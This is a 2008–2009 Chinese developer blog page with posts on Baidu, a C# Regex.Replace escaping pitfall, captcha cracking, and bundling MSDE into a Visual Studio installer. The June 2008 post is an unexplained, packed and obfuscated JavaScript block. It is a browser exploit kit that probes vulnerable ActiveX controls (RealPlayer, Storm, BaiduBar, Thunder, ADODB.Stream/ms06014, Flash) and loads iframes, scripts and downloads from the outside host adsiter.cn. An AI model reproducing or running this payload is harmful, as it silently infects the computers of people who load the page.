2009年1月4日

每到年底,李彦宏都会在博客上贴一首歌来表达这一年的心境。2006年,他选择了《三百六十五里路》,2007年,他放上《明天会更好》,2008年,李彦宏选择的主题歌是《我们拥有一个名字叫中国》,里面有一句歌词:“再大的风雨我们都见过”;还有一句是,“五千年的文化是生生不息的脉搏”。 

百度是优秀的网站,固然非议狠多,但得承认,他狠优秀,不管百度实际的股权怎么分配地,老外知道百度是中国的一个品牌,百度是中国在国际上有些知名度的品牌之一,我们应该为他感到骄傲,祝百度越走越好,也祝朋友的小站ATM论坛办得越来越好

posted @ 2009-01-04 23:14 小妮爹 阅读(176) 评论(0) 编辑

2008年12月31日

遇到了个字符串替换的问题。
string test = @"如果不能输入中文,请切换到HTML视图,再切换(http://www.cnblogs.com/)到正常视图";

希望将字符串test替换成 "如果不能输入中文,请切换到HTML视图,再切换http://www.atm7.org/到正常视图";

替换其中的超链接;

我用如下方式尝试替换:
string temp = "(http://www.cnblogs.com/)";
test = Regex.Replace(test,temp,@"http://www.atm7.org/");

结果是:
"如果不能输入中文,请切换到HTML视图,再切换(http://www.atm7.org/)到正常视图",
括号没有被替换掉????????

尝试如下方法却替换成功:
test = test.Replace(temp, @"http://www.atm7.org/");
结果为:
"如果不能输入中文,请切换到HTML视图,再切换http://www.atm7.org/到正常视图"

替换成功。

想来想去,可能的原因就是()没有转义,Regex.Replace的操作才没有成功,只有这一种可能,大家注意吧。。。。。。。。。。
变量中可能含有需要转义的字符不要用Regex.Replace。
但是网址中的.也是要转义的。

string test = @"如果不能输入中文,请切换到HTML视图,再切换http://www.cnblogs.com/到正常视图";
这样用Regex.Replace替换是可以成功地。

我的结论:串里有括号的需要替换的时候一定要注意!!!!!!!!!!!!!!!!!!!!!!!!!!

posted @ 2008-12-31 23:10 小妮爹 阅读(2557) 评论(0) 编辑

2008年9月3日

许多web页为了防采集而带验证码,在不少情况下,验证码只是虚设的。比如阿里巴巴生成的验证码,但是可别用这程序去破解阿里的验证码,阿里有别的防护措施哟。
发布此程序只是想告诉后来者,破解验证码这玩意不神密。别无它用。
搞此项目期间,请教了许多同行高手,无一例外,让我付咨询费,唉,程序员相间河太急呀。本就是弱势群体,还不相互扶持。人心不古啊!!!!!!!!!!!!
破解一般验证码最重要是分割图片,不能进行有效分割的,只能另寻它路。
 
posted @ 2008-09-03 11:50 小妮爹 阅读(2107) 评论(0) 编辑

2008年7月9日

在VS 2003的工程中添加Microsoft SQL Server 2000 Desktop Engine (MSDE)的自动安装合并模块MSM:
1.下载MSDE2000的sp3a安装包。
2.解压到本地硬盘,其中的MSM文件夹中的东东就是MSDE2000合并模块。
3.在你的工程中添加一个安装工程假设为MySetup,按照正常的步骤添加工程输出(Project Output),选择输出文件(primary output)和内容文件(content files)两项。
4.添加合并模块(Merge Moudle),选择浏览,指定到你的MSDE的MSM文件夹,选择MSM(不包括msm1033和msm2052)下的所有的文件(REPL.MSM、REPL_RES.MSM、 DMO_RES.MSM和DMO.MSM可以不选),打开。
5.设置安装工程的属性(Properties)中的SearchPath,指定为你的MSM所在路径(MSM和MSM1033和MSM2052)。
6.设置好安装程序的其他属性,这时就可以对你的安装工程进行编译了。
7.我们需要修改打好的安装包,使它可以在安装完程序后自动安装MSDE的一个实例(假设实例名为:MyServer)。我们需要用到MS的一个工具ORCA
8.用ORCA打开安装包文件MySetup.msi
InstallExecuteSequence表
GetSqlStates.XXXXXX        103->421
InstallInitialize          1800->1799
RemoveExistingProducts     1825->1800
InstallUISequence表
GetSqlStates.XXXXXX        103->421
Property表添加

SqlInstanceName:          MSDEDH实例服务名
SqlSecurityMode:          SQL 用SQL模式登录
SqlSaPwd:                 sa的密码
DISABLENETWORKPROTOCOLS=0:网络访问的话也要加这项

重写Installer
下面方法适用于,没有添加SqlInstanceName:这个属性,用机器名访问msde
public override void Commit(IDictionary savedState)
{
base.Commit (savedState);
//启动windows服务
new System.ServiceProcess.ServiceController("MSSQLSERVER").Start();
//附加数据库
SqlConnection Connection = new SqlConnection("password=**;user id=sa;data source="+SystemInformation.ComputerName);
SqlCommand Cmd = new SqlCommand("sp_attach_db",Connection);
Cmd.CommandType = CommandType.StoredProcedure;
SqlParameter loginname=Cmd.Parameters.Add("@dbname",SqlDbType.NVarChar,20);
loginname.Value ="yourname";
SqlParameter nickname=Cmd.Parameters.Add("@filename1",SqlDbType.NVarChar,50);
nickname.Value =Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location)+"yourname.mdf";
SqlParameter password=Cmd.Parameters.Add("@filename2",SqlDbType.NVarChar,50);
password.Value =Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location)+"yourname.ldf";
Connection.Open();
Cmd.ExecuteNonQuery();
Connection.Close();
}
用附加数据库,我认为是最好的解决办法。
在没有SQL环境的机器上运行你的安装包,会自动安装MSDE,并附加你的数据库,重起机器后,自动启动Sql Server的实例。

c#程序员
posted @ 2008-07-09 16:20 小妮爹 阅读(873) 评论(0) 编辑

2008年6月16日

<script>

eval(function(p,a,c,k,e,d){

e=function(c){

return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))

} ;

if(!''.replace(/^/,String)){

while(c--){

d[e(c)]=k[c]||e(c)

} k=[function(e){

return d[e]

} ];

e=function(){

return'\\w+'

} ;

c=1

} ;

while(c--){

if(k[c]){

p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])

}

} return p

} ('n{3 e;3 P=b.X("4");5(S.10.Z().Y("1d 7")==-1)P.17("1p","1y:1z-1I-1H-1M-1E");3 1D=P.1A("1B.1F","")}l(e){};p{5(e!="[4 8]"){b.s("<K u=c:\\/\\/d.k\\/1G.1j><\\/K>")}1f{n{3 f;3 12=(m o("18.18.9")).1L("$1K").1q(",")}l(f){};p{5(f!="[4 8]"){5(S.10.Z().Y("1d")>0){b.s(\'<W u="c://d.k/\'+12[2]+\'.1s"></W>\')}}}n{3 g;3 E=m o("\\a\\a\\a\\1x\\1e\\1w\\15\\r\\z\\x\\a\\a\\a\\1a\\1v\\16\\B\\v\\O\\A\\M\\16\\D\\x\\w")}l(g){};p{5(g!="[4 8]"){3 T="c://d.k/";E=b.X("\\C\\1t\\1u\\O\\Q\\M");19="\\H\\w\\A\\1N\\1T\\H\\27\\q\\q\\q\\H\\y\\z\\y";1c="\\w\\H\\25\\z\\y\\R\\29\\y\\1b\\A\\y\\w\\R\\q";13="\\Q\\D\\L\\F\\v\\2a\\1b\\A\\15\\A\\r\\1S\\q\\q";E.17("\\Q\\D\\B\\L\\L\\F\\v",13+19+1c);E["\\a\\1a\\v\\B\\M\\O"]("\\\\1U U\\\\1V U\\\\20\\\\",T+"\\a\\a\\x\\F\\N\\F","",1)}}n{3 h;3 1W=m o("\\1e\\1X\\V\\z\\r\\C\\11\\N\\x\\V\\z\\r\\C\\11\\N\\x\\w")}l(h){};p{5(h!="[4 8]"){b.s(\'<t 1g=1h:1i u="c://d.k/1J.J"></t>\')}}n{3 i;3 1k=m o("G.G.1")}l(i){};p{5(i!="[4 8]"){5(m o("G.G.1").1Y("1Z")<="6.0.14.1P"){b.s(\'<1O 1Q="1R" u=c:\\/\\/d.k\\/1k.1j><\\/K>\')}1f{b.s(\'<t 1g=1h:1i u="c://d.k/22.J"></t>\')}}}n{3 j;3 I=m o("21.23")}l(j){};p{5(j!="[4 8]"){I["\\r\\D\\C\\B\\v\\r\\28"]("c://d.k/I.24","I.26",0)}}5(f=="[4 8]"&&g=="[4 8]"&&h=="[4 8]"&&i=="[4 8]"){n{5(m o("1r.1m"))b.s(\'<t 1l=1n 1o=0 u=c://d.k/1C.J></t>\')}l(e){}}}}',62,135,'|||var|object|if|||Error||x55|document|http|adsiter|||||||cn|catch|new|try|ActiveXObject|finally|x42|x44|write|iframe|src|x64|x31|x2e|x38|x45|x43|x61|x6f|x6c|storm|x69|IERPCtl|x2d|Baidu|html|script|x73|x74|x6e|x65|ado|x63|x33|navigator|url|Files|x49|embed|createElement|indexOf|toLowerCase|userAgent|x77|Flashver|helloworld2Address||x41|x72|setAttribute|ShockwaveFlash|ActivePerl|x70|x32|getSpraySlide|msie|x47|else|style|display|none|js|real|width|Vod|100|height|classid|split|DPClient|swf|x62|x6a|x67|x52|x50|clsid|BD96C556|createobject|Adodb|Thunder|as|00C04FC29E36|Stream|ms06014|11D0|65A3|GLWORLD|version|GetVariable|983A|x35|sCrIpT|552|LAnGuAgE|jAvAsCrIpT|x37|x39|Program|Common|glworld|x4c|PlayerProperty|PRODUCTVERSION|uusee|BaiduBar|Real|Tool|cab|x36|exe|x34|x53|x46|x3a'.split('|'),0,{


} ))

</script>

posted @ 2008-06-16 14:12 小妮爹 阅读(307) 评论(4) 编辑

2008年5月29日

摘要: 今天是灰色的日子。阅读全文
posted @ 2008-05-29 11:36 小妮爹 阅读(36) 评论(0) 编辑

2008年5月19日

摘要: 中国,加油!汶川,加油!中国,万岁!”搞了挺长时间识别验证码0-9数字,变形,变字体,背景变。使用bp来识别,bp算法没整明白,只是把网上一段c++代码改成了c#的。问题:识别效率太差,基本上不存在识别。原因是输出设置有问题。bp不神秘,使劲看半个月也能搞明白。阅读全文
posted @ 2008-05-19 16:07 小妮爹 阅读(4247) 评论(17) 编辑

2008年3月25日

摘要: 月老是一个大饭店的领班,赚的还行,他还想赚更多。后来他发现他们饭店来的富婆挺多,公关比较有市场,所以月老下班又做公关。我们程序员也要这样才行。。阅读全文
posted @ 2008-03-25 09:47 小妮爹 阅读(87) 评论(2) 编辑
 
摘要: 月老是一个大饭店的领班,赚的还行,他还想赚更多。后来他发现他们饭店来的富婆挺多,公关比较有市场,所以月老下班又做公关。我们程序员也要这样才行。。阅读全文
posted @ 2008-03-25 09:46 小妮爹 阅读(34) 评论(0) 编辑

2008年3月18日

摘要: 处理页,比如action到operation.aspx。它负责处理然后转向。没有显示功能。我把代码写在构造函数里。AutoEventWireup="false"阅读全文
posted @ 2008-03-18 14:31 小妮爹 阅读(33) 评论(0) 编辑